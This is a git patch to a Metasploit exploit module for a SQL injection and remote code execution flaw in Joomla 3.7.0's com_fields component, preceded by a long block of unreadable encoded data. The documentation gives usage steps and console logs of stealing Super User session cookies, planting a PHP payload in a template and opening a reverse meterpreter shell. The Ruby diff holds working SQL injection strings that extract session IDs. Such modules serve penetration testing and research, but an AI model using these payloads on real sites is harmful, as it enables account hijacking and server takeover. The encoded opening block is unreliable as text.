zJn)laeLHG#i??i?Pa?A(_0f|@)<6p%^R2eCVAK=7hj~G~BA1`?eW4GZt?|!I^`+_) zENi;^8Q-UN@*6(qqwB5KjjBp}vq6tZasSA8ALcrI7 z=j4&{UiK~LP2}l6ykcJ&RZD#INg_*4HFxAJCfF zZ~8vswKcIjq2x_$i;X|PKf)?sI{Dx&A6*%-Rv~qj(E}z-^yMn-sDFRQ-WMm<_~=!h zclLj}6Z$R=HmO;1eY%)TS?7C2*FH+GSyFwvSnE3kSiR2YgzbA#`%&vLoy>gC_okr? zhdE%q?-@IKGGYByR3=ycw~Z_rSktd=vd3S&+1F2xFYEH*tt{rFbfe7@+`APUTh2CL zPlF{!P7&POFbYeL(}=sFM?pe~z)? z-Q~MoA16n3;v_BG>sw@}$&f0aP>UoP=2qd*ZReN15q3y}4)`9jqo4cQ_p%**-9g_{ zJ4>E8?4xg=MlCh^1TPRB!z{Mwm~XqmCeA0%on%9TC=y3+^k0^{qI9Dq5jy`DBckj_ z-v&FICY)w1H!hL{S-)T+pY{uzhQ{UeL+LL*FB$SH8~Q{!Yc`&rCI`;5iIFAw%mv@g z290A&_y65@#)drVqVHQn9mSR&^|$XIgX3e#rT_XqwgG?YijVH+SZdxS!9Ucd^yhW_ zFBxPTD-FNGP~R_*H|qQ8j(X3NbiDp-bi7_Flgwm4J=$nZ@1AO;XT_G+(y0m~Q~iFj zq@n*t-Cfp5sagIFy3W@0UmE-A0Uc}lTTT3HbeCAuOLF~mf0WT18#T?v&nM@PzyN&J z;s4SOYpKhhr;n}}R$43;IU)P$H?kSs+c5&S7I{#z5&U}sRy20Pph7Qx}2C`x5js7%p>&@Ayl(OEK1Sa(M)3Zj_g1#&C(;nE84t-Mt*`&)I#x`S;)*Si{@jGG69sVpbyq}+L zqFZ8;DR=wnf-<9<;P6=%4X(>Q{szR=-@nQ(`pysV-_QGk^Ch4-8P?qA&meCN@=vtm z?EE%zb{XtXC65pBKgV;LRKzb>4#AkY^#MPf4KZUZq%V08rDr|lr;AyP(}Wq+&F=UR zhDiD&{txZUzA(Z+x)v3w7kiBKr;v4{{dBH%wwm?^o1?wKf+9dT8Tu6aGs*U1mQAfW zvpQlF%M<(!p}H7>FO2j5uIp*ZPSPf@glS2KCC~b0;(grTN}s1#GLfm1{2tv{OFBe! zs+{C+N-j?Eue9StB$=F==BG>j)^KCzAk*Hb{d8(z$wW}`DSEbG^sHEqYW-s?y*>v& z=Wk3Nd(lsLKbhFu>g?q&V(&3$7OQ@So)(KvP{nP$ohCS1{grdDmY$yHAJ4P%aMFA~ zU1w(E;=!Gtk8N^bnSVYHXTiR0pBXM-SW{ZYkgSc*)e~S$g zh?N+@Cstqry7yK83Omk7_1^HNzsg21!DK*}?wCg`6svj@#jSnE|E>*^ZbH>N7@X_Z z`mgdaz+*;&^YS`BT~xOg9MS&tdwzPe)tV`i%9_599qsrH{>yeUBkA$w4gN-C*G4wX zvc`-wvPe~YyvhHP9cILirJMbC+tdQV`l35lOq?l(B01Ix$144aWY5QJ7!a4eS)~1t zOP~4&+Gs~gKJ#DY>&qlqfQrxjPV)H|tV3rq`TD}D$cECR{vIEL(>PJ!KgcV*8i{`ON`MhdhA($4w-e%PZysUBZr9Ns5~;f+F#DA$MN9s&;fI+ zF*5r7?!U{1G2+MK-?6X$>!N=juO5dOv7_)R+L7^>zmi8Z+7X5!zx#8b;u2Q4=N~_P zj*S^(8DDXN)wMpprnFOvfTac+k^T(>MgJ%6CFy|-l9~~q zX+DF3fn@S}v%p{RJq#KnIo>=#*W#IG#zqr@b$U2Slc$>Ci(3GYi-oSF;+GdwhyGh)@v~UuW28kt9cAI zRzAUQo}LlU&(yo6)SFnhlvqg4b_&qp2_t95khM`S=GZO)%&}bp^gt?OjK$H~kO=*| z22x1f?tx=^EigtSVl(L89y9XN?g4z>;>G~o0A$>;uw?H|0s73PCHaQi0`$O*6&Y~e zolPox2I!2&l1EEwq`G&2-jcNB(Qu%+53Zg3+&4f6hm6r^oCn6-84$@&cLwNL3C0*} zmmahO`UM)2!n*^H>Z!|;QJb;D+Is^HNK*g6RvX4hRFvO`k&8Q_G=EtlMvUn=5Pkpo zAeO+b7|EETz#P6JITJ8-pk_sA!p#o^I>y(Gta>oeOAlvDG46*01LBh-bqE6=Ms;@# z4;+urNcN2g&}SvA#OSLvDI>AL$fE;K*r>a$I6yy0Xo*ubTQhq+;^aOWpmQB7MsnL@ zfratKfQCb)Cj-ZLlZ@e{Lgyy~e!z^C4J{tUFc>*8Fx0+?1Oq1q1d=y7K=&${dPZzF zluik_NWG~6x&;!Sv3m(Jt}h7$Z7f>%8tPd24C<)N2z(r$ku-cZKu@GHfm~okJY4Z? zAOlL@#bkZ_`M~G;a-5FhEaBF@Z)zCp2G(?fLqb0|#sz&}~_O9!8Ca z(+r+k76`%oBCMa@&!T!qRvj79xyl zFiU_jp9GwMN;=7)?SXsrcw)@4njZfwaLm?2c$#Ymq9pDNjN|!YQ7|a)jxWQ#myNBg zG$`I52kOKD`E1~dt;l>B{cAuaeX9ct;`*6n{1Lb}t~4_5Vqjf->WDuB z^su3YF{I@00G)m_s=+00$hd_4$MgRLdhvF|_?cX}9C%#Upyva0NqZmrNM?hZ3doYH zfl)lYaV%ZS1g;^&VQF447rJ%~CX%}o)B?UhT5JKbwvIZPr<(vp1YGV6HU(*=noK6v zQ|X+v*-Ln0B`ew0BsF?EcxW+Hq^i02i4C9Ub+c5f#-lGsat5eMzu9Lv=ux4^Xj*t%J$L zk)_g&w76wtz0AP=!4z_~k=kEZA<7K`m5-1tgFi}qYAB> zsJHQEWgE-LL&rY=^HM@?*xOXS8oBXk9kLg5ReCVZn!d@Q(wQxzoAh%+fm3aw>o>V) zI2m&DFrW%VH4XlCt4U;)OQo*|$Axf5AV@1wrRVA5a(ZB$sES08ReG5eMbP}IWr5BW#I((o`^BcX$ z(?wOKHyEN(VhlvwD^pbwsvZa>5;>%HvHkuoD!ltmwdI5%*RZ(L+J)wzhGg_L>bP18%34AEa#WpABK+I| z>$-DmwKHGFRM#%8uH9RM0;~+HO~}zUY74%Eg?eaG9xPiI%zzfMS|8HetGGzDHJGaT zElAe1Q|s0OA;OS$m=(LJYT}0W>H?mdkDx6b)R8(p>g{YpD$`6D4zt3D*i{K9lafyA zErudoYP!%_ecDdslCCOUTxCIT@__(SH#L_ObvM=tr#zsf#-!o(Dt!fm!EsDv>y7G- zde>}CZ+44H=epMPfw!sm*p)xpQ>ClD*5%84t90;bO_vJQfp+eCt*=^cM<02IN|zz6 z@zeULbPJ5pP44!=*t=AjoV`mO%u6zH=E0S_)TU(aJ!(ImllOUAe|3fp9i|mwreE40 z+x~}hF~uGkpfMXnRC~mJE{fVLW!>RrEv(A{gkT>_vVfIyg;6Zhb zjeMB%9HxeC53BT~pQR8;n2t$II?6SYhDbA7l+z6ffJL}MACnS!K`lSwcXZ0QSUsGsxYO_~It;2BjR70;;ac}`vuM&=AX z-mEq4@FMFztm*q^s_*gmCQTgBcb1w%w$Em5#2RVwTy<`(NPFgDuQ7I>N?+r!M1q6` z7)4`VViOfhCW1_K<6}2gk!&h4IVto8PGJ>+!yADR zt5m05`Q~d>`bq&SZ*m8|-?xSisL0zDY+AzDd3AE%Rq0(ZMmNE^p!>TxIV|52OpFYv zHoVXJH&%p)T)Lihr_n(gH{!aDsBh^Ww5Gd0Q0Yclly00R;QZ(V9NSh_Vw`$DWVtxX z&WT&QS*5$U*7T7du@Q$gU9D7$?J9iRHg&bZ9HY7+DEwIULDgn#Tg~e>!!NM^folQF zc3~44v;!x-xD3#SH2+k+)lN?NcJ-7Uea#M)Zeg%$G1VmMu|vgU>=`&|#o3|@Chk%* zptue$g*bPrlEI2tFG9i|%vH!v2Y*ZiU-QUB4}n|L|J|z|wlQJDe)WJ2nOy#oEo4~3 zA3VSYX4dp(->`)iYx)xh)pu-sKze=0^ovG{v8GkHa11kImwLe*Xud~nL}njm(Zyt% zY9*+Z@j{l@@%8x$j|BtzPw3p7*77I`bfrEb!{!2L5&mFX|RPXkb;d#vvcZ9z6h_} ziSz0~oo?wYa^iw9;!Vnhv~1whs^3LIf2j156RTNX+^-ka?`+fo6o>Bp9jhhM#s}Si z>r^9BaOrZyUpR5;{Fh2MW*NFknOqq17tT^=Tw;@AYqJXeWht5=@p`6SQMcOZiRGI@ z#Z`owm8UmEDy8i@x$RHsGbmP2e;-1|K?ygtI3GG z;M7`_7oj>2^~MF7WYWPI9L}@zaJyZ>+D7gYTybF>L76Yvtf# zJNjjJ@LN0j6;IH%|4;J=Yw!PCDp-k;+;Ec`td4kf)(kq$?Hrxv-d#Wj2ZPV++E~YG zW;j^eTCN}5`B;(5wqO#%4HLQpqRlN}>RrJGAhrlP^`Xxb`9ZoeX|2q$=E42CGK`)T ztE@KN#;*nBWYK3}bcGoqFu<}x7lCsa%8AGMgnlL$&U5qh)=o{YFC>Vll8i-zj= zo<|NJJ>dyR_$k~NmW44buyDwLUt8mneCAFy6+XJ8hN1LZjP7HtgFo?ru{|p}*Csfi z7Ucz4-VR$9?vmt@mF;brTD>m}|?So#PJuTLWMC=%R(2l;k6KgoE68Q36 zyVzIa>s^B$JNygXf_3zXPt@J9-htAagEADK3E^1gH>|7gZp7%p|0b0U3uTfQt`DBp z!J~zZL$iEvUmx@!cM?n;hV8ZL#vq+{MvKJCBPj2@4!L^;ZZfvK(8vd;dSPxmaWh6q zCBXpMJ1B(n{F{R=DEtO@_^L^`0Tg_T@a}0O{@#rdAP1!oPWBiT& zJCq8tjE$ydzHt1;U?!|7#6MN-kcx5IfQ&8-(usc*fFQs*gP;UF@qcF!zgx=BKq81; zsu6MU2}FFTFxUqQmW1j-)p=CCd|a?Glvk@gpk2S<_mQ}b3W1205#EX~!VMueA3;vs z7)*!4{=tTkRt?yyGhtaF`>iqsS5Zrw1Yd)qN06}k)zlOyYK;CA24ga)zB}l#Nk^UT zF=hZR__W|~5EM;w5{pn%n()K^0qBR!bJ$jQHP^!kcT?^Q=Ib7dTM#!X?!!7Q_hXer zw*N5x8p5Q(!A2k_hj9KhDCp-QI0eZggM)PEf{EbiSBqHojz*&~fE64r=Mee+Abme4 zE@MDrgsS^dL2(k=czHagj0_xWgXNS%hu5-AYVVs zMqbh15;Qe&=7Av(m#)EzE*OHFxx$FxHHMf3ESyDVj||dVh*1PGY&7eFqrU+@jU z78DdY-O*`cu#ZjTM=T(pPYTjyrnt&u%uK9O`4(q zwh5}I28%dFt-LWkSTnDtfK|R=edzLw+LmNY3*Km>IGH>>NGG0gb;eQ0bS>Dm1r;qM z$@@C;Vd%g8YAS!!oldmNDFJQp0K_j}QpB;_vz={>-j--gTzjx)sbhB>tk7#z@S z4%U=5R$Wkzy;a5B;7xW$OY>OUi)(-z5F{5$>xUYWgqMPJ(JHDae(W&iB^(|LKd2ex zwfVum2BnEo793*ytpb9h48PTt@oj;5Kj7waWSyZDrw8PTMM1h&5LY_^zxRRKY3E1? zR!L9ZSW}S5ATOr1ffN2@^4j9yGkg)QJ(Am(nhb(|%W-&he3{7;1POGTDC!+@YDJK4 zM#eP(A3Asyvt49

h=42Oq3^2m7~3bJJF$ z2p*cE!y{IP$COtEKjIx_!o-6n@8DQQ>ugEu)j=oE&ci*iCP+{FSc-#b>u>^nWo?ii zGqPkN$TZAONXC1?*L8YLeVlxs&6jI_tK1Nz>zvkdZrT{6%QQ7*8g2@%F<@g$Sh@-G z)$D9cX_W=|=jN?A8ag@w$5pQ^#d&YxtHCDl$mZaAE|E1hW?UyWg#8n6ZjTXB$lGV~ zIlkhz1w}?ObC<35?%Gxvq+1zLGr;>9DpwZ9HN7<~ zEC0j3V747y-p{80QBRTOUk0b>Wum`9#WY&;NQXILOZOM^6M->Ze_;J$vJS zgVT*V{c(!TU8BapOJ{JXvu0Dc3CTRoLMuv5z+`eB6Lon#wE+};nV(3G{~UbI2#XL) z48LKxVnIAorcHe!8=G@}4bs=OYS053lSCGu4{kA*S2dC!itoY!ZD~4=_D26V*of@C zV4ISm`V`J=kSUE6{vI5yV>0)c8m$-R{eg)xvIBr-Iid1@I5fs1s@?d4T)n{DGnf*P zb0W`VLicFsIL5<43c+5~Fb?A}kA9c$&<+!l;!CVUj;pmBs{dl+fP#O6bo+?0H!^0i zoN>_iapb>x0K0=_mxF1%+9v+oad1H!C~1q>BQ6LPg~s8=nV_~cf-kU*e*sEFs}R3dVN&@`TIlBtv>hO$9*Vmw_;3ekyt+-aRx z{PG;h|)4(Zo1Y8qE_ zSe_jU!qE@$EcT%7xPViT9cltCoOm#?;zyi2LvE<2VFV0<)HoUT-V{oK6GEsyWNr*K zAXuWCk#ATigrnP!aP>kvGYY-G4@clLwBM3o-^W;X%JsPGby*0}2PK(a&B-V^)Y%G; zoL55haxi1|LHYNMlHslFPzJ~z6tprFZmQXl0X?UM8<8cx5PkG3T7rBT2t8YPr%q^rsPr32g$^-LWDw zU&f=xy>2jjTI0iOuOWIvF6tQkgnUHa>^GRom2ZR_<1%3AvQbpTg-A`+dylSfG3A;k zHfuy4?ir%r)s13D!@dz9OA4GC5^hRP_YOU#BS%}LafL>L6TLAdy;WFi5^=z~`FK?3 zj@v_R447ONS$9V$T@S~oOpbo~t`Hp)SkuSc!;+shJ+FW04r7`qfOSt|I;?yE+pPQp zhJuzb2(Gd2H`F+s&&A|$Xl;Wuow<4thQ9POR%Rr-luivr2$`_&F$}!sLqml|fJh8{ z@MI{BptQXPDh8CM2&sA~w8TKt>qjf7ORl&XmvL}8Fbg6=ONzC2c@Wq9?>mQ0^2DT2 zQz(BjTp#kE#uzyIQ79A6Xv`%KW2j!P#_r~+5g~e_ttJLK-iFp4n}9MRc$q(9_b_vm zDej@T7xK+njSaM5G!7^G7qi4%0~NJXgTkdaZBb6{%hdgKJhtR1<3k~%m6`?wH5kKZ zq~>sR1y+#!7>fMvXIx4`t#EN_GHQBuTYf4z@??lUuTi5xjgnRKG5yyJ-(Hv$`j0_w z!Zn)XW#~B%$AD9(hUlHZ8Zc%~E|lPX9P;3F7Nj*S=l{eseRdh@Rho#W(MzXe2Sl6(ujBhOCk1S}DEtMhq24)StK%V*AwgRJ-ULaWb%%XaZ?TZ-Tm7`ZnE`@P_>~n>aLNX zBos=ANH43IN}BHu(W918JtA@l%BjbPoDZ(~K7=2^VZ$9#P!-y1kfO7&0ZuX*^krzb zfkk(G9+Z5E?LN|;BLh;@#s#D5;A($CC(JH853tUW>D3(W-G-)T?!`8O1E54w{!K_Q zXo%SnD*#tRHKwX>LK(#QUFcLC1tLs11WM7zH-itGhHFgK2Fy=ZB!^B)X6nn52E{1}UU0>L`7Wdq@%*OoJywt8KTEkY5+7f2&zGkMMnuZ zxZnRbx(hF{B?C6$TsZMJb|hM#M5_J?(Y;XvyC*`|hV03Jb>xN0e~=wJqzwj-Xtm{y z>8T8 zamP;^r|Sxqq=fNBio@ufk_O>#4Dtw;pckNO3~d$Bp{yL!dbhOjIYSZMZ61B+TieYh zxXhEFw}fa)Hue%SoLq?e*%=w(B>l`hE|+G(&kNOiNYAYBYr2TIrSZV}LOf=uU3r6v z+HtbX#Aev?74&0D(=f(*f2@Nkjl(^Ri9ZCDjl({DDvc*7o5Iqj=#1mzvEaV0VUvHgbIacFif2?mObV~Ga_4=b4TOa|1M`Z#gGXiqfL@3h7TFxH57s< z^oU;6>qJt*{}`Dgv*=r7oZ=1ghH1whEm5OTnGf~p`e!JaEcS;@tDgAfS8kEh0Z2-P>)V8bTGXb)zq9dpcfr5;*^qx7X3trz!lu@&RS%%-ba?7P zmalJZV|GprpKv8VojlhrY?^^brmP>f5C6}g9KKqEZi()313I+{4D5_8K5`2cJ0-e( z6b;zep$=KnIZV&ZM(O6}P}mu(q_k^zt)by?NDp5ZenZzSip0^|-4LE{NB`r-F#T|Q zw8}BTwCsmF>QisS;b!k#Y~ojL4I5`Pq+ic4J^C6g2$6Z#rQ5@4(5DXz|HuR~<2L=b zhLNQstqa11hu-0%Mz2QPeWft`nUN5gKOyo710lhs>DrV?{mj)HX^idrp%d@EJN&Dm zU_@8))V<;D1_C0M-y3$2=LUpL3ns0`gmYo_0F1{-TljEb*fiCQu=E^+)<^O`dJg-H z`|-bniqM;Lzr-QQbCNorfh<;-Ye-!xOhoK=TDCTtd~81#tZe z_A_J<2ZvJ81KoQF>1V2h@U1nz!@^)@1V++v>*VHQgWr=$1SdnuQFAeMIzE|0!W9xb z&lpaAGLxWwQHJ@WqP;;sOeM*~9Y)Cri!mav#vFwocv%j9;MeoeprI?!X_PdIoHohh zXwW#5UxU9nmV9R(P1T)j$%pv8mySjKRp*7e_3Qny`0o)&n}F@`^`pebkB=uc97S)w zfreK})L~m)W}3>nou7phiOB`h64DiOs|*x6j)_9;OiFT;F~IbnXey;FkC{panNWM~t4k5G76h>N8l z#W7m^9&$vq8J|9v)Y!@-E6gx~6dkS{U8p@xdUMolr0GAQt?D_&4^2J;rPp3;ey}%$ zbM%9@HJ4Qf{`A?XlGqw7Aw?z<90O6MhGJJRVHxRW!gT=#pC_QtQ*EDcz=eG{@3FE* zmlvBQ)XU`Sh{vs%Do@=J6t5vQygq8<=#Ed0TQd2Gnnj&ePba^*p0p7kll9Ed>l0#* zk9f=+XG_QibFCMCiOqy7eW$W+bVAlSQU`YK!?AtokfabLZ4@r;BdsBN2mV#^GfCvL zJ|*?cOtQD({4WcL?E{2?du79^bk$Exi0)T|{a{5WP;oBfx7#7g!EGF9AUo|Q-c z>TVLkAMPab?owR_U`=B=qVqfjNuQ3Yy(yO)H*CVJ9ILR*T&(Fy9HP_`N}edkm3564 zQoVI<&Z=ifbs4SSr>vmR0R)Pph@+#(<(<7o7tFUGCV!fGk$I&O56&Z~m+K6Bgrmzy z4y@LlF14I=5@IcJnD-@#djBXcW=oHe<~|5{^hqKwX4Dy(^-56mlBs0MO)ijJhy$kD zXT#8`0&^Cyzm&tH* zS#`fMva-hV7H8mPmq}xAJ&7K5C07%QFW{i(x{4iLIW59*rP0ZkO){_6*q9k@1}|6Q zviO0*PEA5ommx|6EZl^lm`yh^+@?;)Gp>^mPcw;6gde&=WN1|XsQ8LoRFTR3^) z1S;1$nh@@~OKL>?)Kw0$t_$iEs_crOx`ITaR)%R0()?)#Uw)62o6N~q+$Sro)CJ^; z$F}`w;OGCM>1GObZELShYkbu?HX04?p*_H#zG5niv%|{!IPxkHEWRg@%B$|&HbEBY zLQBgxgv;$zIz%nuaiLV^Q&_?_2aWW>yqnW!=`-PUs;G`7^LHcZT_5mA4X9kXTbBN+ zA(cnZH8|M)$TGhdMdLgbH=_S&Lgle=tFqH#e3d;MOXVWQs_f{dw5xZyr<>7y?`T1D zn&BO-Y(by$j`mEXk9tSvBvCovTj?A{=_6u6XoYrbMT5Mf|4gCMTWMAHjmK$Q?^>N| zM^n9{Pqn89J$r|-1zV;1;ymjqDx(BeS_O8bFL{?cJB<$Vj)px$WrmOy=gpnz81H4% zyZEZ_hG(ff_&!jPK>rQ);f}h75UVZjpX7Vp=dB2MID$I( zb0ewTgs%Iq?B2u@F@`07Y>tw@+MsZJ0tolC3!rc4V! zqIh^|3!0e%og1L`7_TBIECt$vJC@U)fxanQ16_`mM8*NoVXt2Z|KTIr=WnY=eN<% zM0ZSz6R>@Y1_yM`;@fx75kir?PTzb7W3Dug=Y4n6&jd^Ne<}NEsqFQAWGlU>pC%np zthCY-u>ZNYW}xPak5L)7ubd*) z|4U;QFg}gHev&>f?P!VLtDv(*^=Hl%B_sypAjpyimX*>zr4RA5fyFjx&aiWZLZT3vclR$`R%8Nrl%2^H{QAt@>JVUe z-;3A}PaLguHh?*H^xAzM%4Uj+{5DZiPSyLvPzN|$I`HsJA7=pc4`X&d-^s4{B0qmW zOp><>XTkh%1Z(Px{MrY|Jvfp%0rhCiv+A=`f_&Btp^S5@u1u~vaz(+8`m8>m(vX#k zDTgc;l#Z(!rT;jkp`u`OL)MT(6ze5e9$YKy7q54tqTW0#nuQ7TYq-sT^JnAOFflIn zxTF+!MnD>C>VV2P)|@{~VA4G_+h3XfosqV8waKP#Z~io4M+Iw3IJFg9BQ&#wZ7J-8 zXjWQJFn4U%m^V;|hc4*qAB^#u%-e3v6dDeLLq0qq^r<2%yAzQLm(*SzwVOf3>nxg2n8M10OpVfRq~v4XV*AAx{%fFEG}*qKL;1Pse@C4ls5f51BfpumS&DDo@hUa0nwZQ*J7OQ;X<}eR5rJ(U}XP5XEeNsX8}u-#u_gLJ)@6eZ>fUf;SXSV z3+lg_Tz;fWO1qJgPhQS0iyr^$JG;JvvQJL|6H}7^Q{cVAneQdRBkJN`*{~(q^FKOExi? z@20_a102JrZehoTpv2YEcE9L?7Q1-SRyIMFus^R;?ZKdM^@}zd+f>fCwe`6c1!nVNc3G&0%{l!*B?rc<9%z1 z@U?^@VEKa zU&|de;Z-Qxlo(q(Anr-%(<`ukOy`OD*`srYy)Z6+bl+iPhbiS+6^#Ao;8(|u9+Epc z4wE>MDonCyHFm_X{QR68X#F2N>vnAoCWJTX7LW0X8?2?e1JpgfezD3);JSw37sd>N zAopYZPYWr9!kg>ynBJ77sCeZ(Oj+HpqdQ5WBOo}%uR~~Drc%8WSiJlHShIpZ*>k4) zs3)7DLijcgIM`ygMu&-b==4S@A6vAn;=tDVMbx z2+sbbJ#4FH4WZ{YS$k()YTz4xr05o7WL~8l2%(-bvTqQCcR)q zcTBU)xXY3t^EQr0drOj*zMnvv!lw2ZxH)#4iOan7R#mg6KnYCO8aEWiRA4$Brm^7+ zd=qQm{|?4^@IXM&!jrTOq}|595~?u`iq}O&T@NtwppqGk;KE~dv=fw6vpjfhFIfs{ zsdyeV?G~D^;GVhaN{m5?p`e%$_3Hx+M6^&N*?z+omZ5vWwURsrg Date: Wed, 28 Mar 2018 10:57:28 -0500 Subject: [PATCH 094/105] Update documentation and module Included Super User in the documentation. Implemented changes h00die suggested. Modified sqli to generate strings used in regex. --- .../unix/webapp/joomla_comfields_sqli_rce.md | 45 +++++++++++ .../unix/webapp/joomla_sqli_rce_3_7_0.md | 49 ------------ .../unix/webapp/joomla_comfields_sqli_rce.rb | 78 ++++++++++--------- 3 files changed, 85 insertions(+), 87 deletions(-) create mode 100644 documentation/modules/exploit/unix/webapp/joomla_comfields_sqli_rce.md delete mode 100644 documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md diff --git a/documentation/modules/exploit/unix/webapp/joomla_comfields_sqli_rce.md b/documentation/modules/exploit/unix/webapp/joomla_comfields_sqli_rce.md new file mode 100644 index 0000000000..f294b721ec --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/joomla_comfields_sqli_rce.md @@ -0,0 +1,45 @@ +## Vulnerable Application + + This module exploits a SQL Injection vulnerability in the `com_fields` component which was introduced to the core of Joomla in version 3.7.0. + With the SQLi, it's possible to enumerate cookies of Administrator and Super User users, and hijack one of their sessions. If no Super User is authenticated, the RCE portion will not work. If a session hijack is available, one of the website templates is identified, and our payload is added to the template as a new file, and then executed. + +## Verification + + + 1. Start msfconsole + 2. Do: `use exploit/unix/webapp/joomla_comfields_sqli_rce` + 3. Do: `set rhost [ip]` + 4. Do: `set tageturi [uri]` + 5. Do: `exploit` + 6. Get a shell + +## Scenarios + +### Joomla 3.7.0 on Windows 7 SP1 with Super User authenticated + +``` +msf5 exploit(unix/webapp/joomla_comfields_sqli_rce) > run + +[*] Started reverse TCP handler on 172.22.222.138:4444 +[*] 172.22.222.122:80 - Retrieved table prefix [ unqi0 ] +[*] 172.22.222.122:80 - Retrieved cookie [ ejn9i2c5srk6gchhai4cikdkm3 ] +[*] 172.22.222.122:80 - Retrieved unauthenticated cookie [ 33effe3d96e4c5e749f33b9d639ca36b ] +[+] 172.22.222.122:80 - Successfully authenticated +[*] 172.22.222.122:80 - Creating file [ zM8ZvIAAwxE.php ] +[*] 172.22.222.122:80 - Following redirect to [ /joomlatest/administrator/index.php?option=com_templates&view=template&id=503&file=L3pNOFp2SUFBd3hFLnBocA%3D%3D ] +[*] 172.22.222.122:80 - Token [ df2760a9614efc2566917148ee379c42 ] retrieved +[*] 172.22.222.122:80 - Template path [ /templates/beez3/ ] retrieved +[*] 172.22.222.122:80 - Insert payload into file [ zM8ZvIAAwxE.php ] +[*] 172.22.222.122:80 - Payload data inserted into [ zM8ZvIAAwxE.php ] +[*] 172.22.222.122:80 - Executing payload +[*] Sending stage (37543 bytes) to 172.22.222.122 +[+] Deleted zM8ZvIAAwxE.php + +meterpreter > getuid +Server username: SYSTEM (0) +meterpreter > sysinfo +Computer : WIN-V438RLMESAE +OS : Windows NT WIN-V438RLMESAE 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) AMD64 +Meterpreter : php/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md b/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md deleted file mode 100644 index 1230889829..0000000000 --- a/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md +++ /dev/null @@ -1,49 +0,0 @@ -## Vulnerable Application - - This module exploits a SQL Injection vulnerability in the 'com_fields' component which was introduced to the core of Joomla in version 3.7.0. - With the SQLi, it's possible to enumerate cookies of administrative users, and hijack one of their sessions. If no administrators are authenticated, the RCE portion will not work. If a session hijack is available, one of the website templates is identified, and our payload is added to the template as a new file, and then executed. - -## Verification - - - 1. Start msfconsole - 2. Do: `use exploit/unix/webapp/joomla_comfields_sqli_rce` - 3. Do: `set rhost [ip]` - 4. Do: `set tageturi [uri]` - 5. Do: `exploit` - 6. Get a shell - -## Scenarios - -### Joomal 3.7.0 on Ubuntu 16.04 with another user authenticated as an administrator - -``` -msf > use exploit/unix/webapp/joomla_comfields_sqli_rce -msf exploit(joomla_comfields_sqli_rce) > set rhost 1.2.3.4 -rhost => 1.2.3.4 -msf exploit(joomla_comfields_sqli_rce) > set TARGETURI joomla_demo -TARGETURI => joomla_demo -msf exploit(joomla_comfields_sqli_rce) > exploit - -[*] Started reverse TCP handler on 1.2.3.4:4444 -[*] 192.168.0.15:80 - Retrieved table prefix [ l6crq ] -[*] 192.168.0.15:80 - Retrieved admin cookie [ 0nva1b7d2re73dojsakmq5gqs5 ] -[*] 192.168.0.15:80 - Retrieved unauthenticated cookie [ b41f947841f591f08bb4203036a1b7d3 ] -[+] 192.168.0.15:80 - Successfully authenticated as Administrator -[*] 192.168.0.15:80 - Creating file [ 4duqOQWjqycE1.php ] -[*] 192.168.0.15:80 - Following redirect to [ /joomla_demo/administrator/index.php?option=com_templates&view=template&id=503&file=LzRkdXFPUVdqcXljRTEucGhw ] -[*] 192.168.0.15:80 - Token [ cdec8f07a07e2810437f8f8a148b7628 ] retrieved -[*] 192.168.0.15:80 - Template path [ /templates/beez3/ ] retrieved -[*] 192.168.0.15:80 - Insert payload into file [ 4duqOQWjqycE1.php ] -[*] 192.168.0.15:80 - Payload data inserted into [ 4duqOQWjqycE1.php ] -[*] 192.168.0.15:80 - Executing payload -[*] Sending stage (37543 bytes) to 1.2.3.4 -[*] Meterpreter session 1 opened (192.168.0.24:4444 -> 1.2.3.4:49586) at 2018-03-06 20:20:22 -0500 -[+] Deleted 4duqOQWjqycE1.php - -meterpreter > sysinfo -Computer : luisco-VirtualBox -OS : Linux luisco-VirtualBox 4.10.0-38-generic #42~16.04.1-Ubuntu SMP Tue Oct 10 16:32:20 UTC 2017 x86_64 -Meterpreter : php/linux - -``` diff --git a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb index da845ed587..0e961ea1f8 100644 --- a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb +++ b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb @@ -14,8 +14,8 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Joomla Component Fields SQLi Remote Code Execution', 'Description' => %q{ - This module exploits a SQL injection vulnerability found in Joomla versions - 3.7.0. + This module exploits a SQL injection vulnerability in the com_fields + component, which was introduced to the core of Joomla in version 3.7.0. }, 'License' => MSF_LICENSE, 'Author' => @@ -49,33 +49,41 @@ class MetasploitModule < Msf::Exploit::Remote end def check - # Request using a non-existing table - res = sqli(rand_text_alphanumeric(rand(10)+6), 'check') + val = sqli(rand_text_alphanumeric(rand(10)+6), 'check') - if res && res.body =~ /qpqjq(.*)qqqqq/ - table_prefix = $1 + if val.nil? + return Exploit::CheckCode::Safe + else return Exploit::CheckCode::Vulnerable end - return Exploit::CheckCode::Safe - end - def sqli( tableprefix , option) - - # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). + def sqli(tableprefix, option) + # SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in). # The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history. - # This way we make sure that's excluded and we only get real admin sessions. + # This way we make sure that's excluded and we only get real Administrator or Super User sessions. if option == 'check' - sql = "(UPDATEXML(2170,CONCAT(0x2e,0x7170716a71,(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x7171717171),4879))" + start = rand_text_alpha(5) + start_h = start.unpack('H*')[0] + fin = rand_text_alpha(5) + fin_h = fin.unpack('H*')[0] + + sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))" else - sql = "(UPDATEXML(2170,CONCAT(0x2e,0x717171,(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x7171717171),4879))" + start = rand_text_alpha(3) + start_h = start.unpack('H*')[0] + fin = 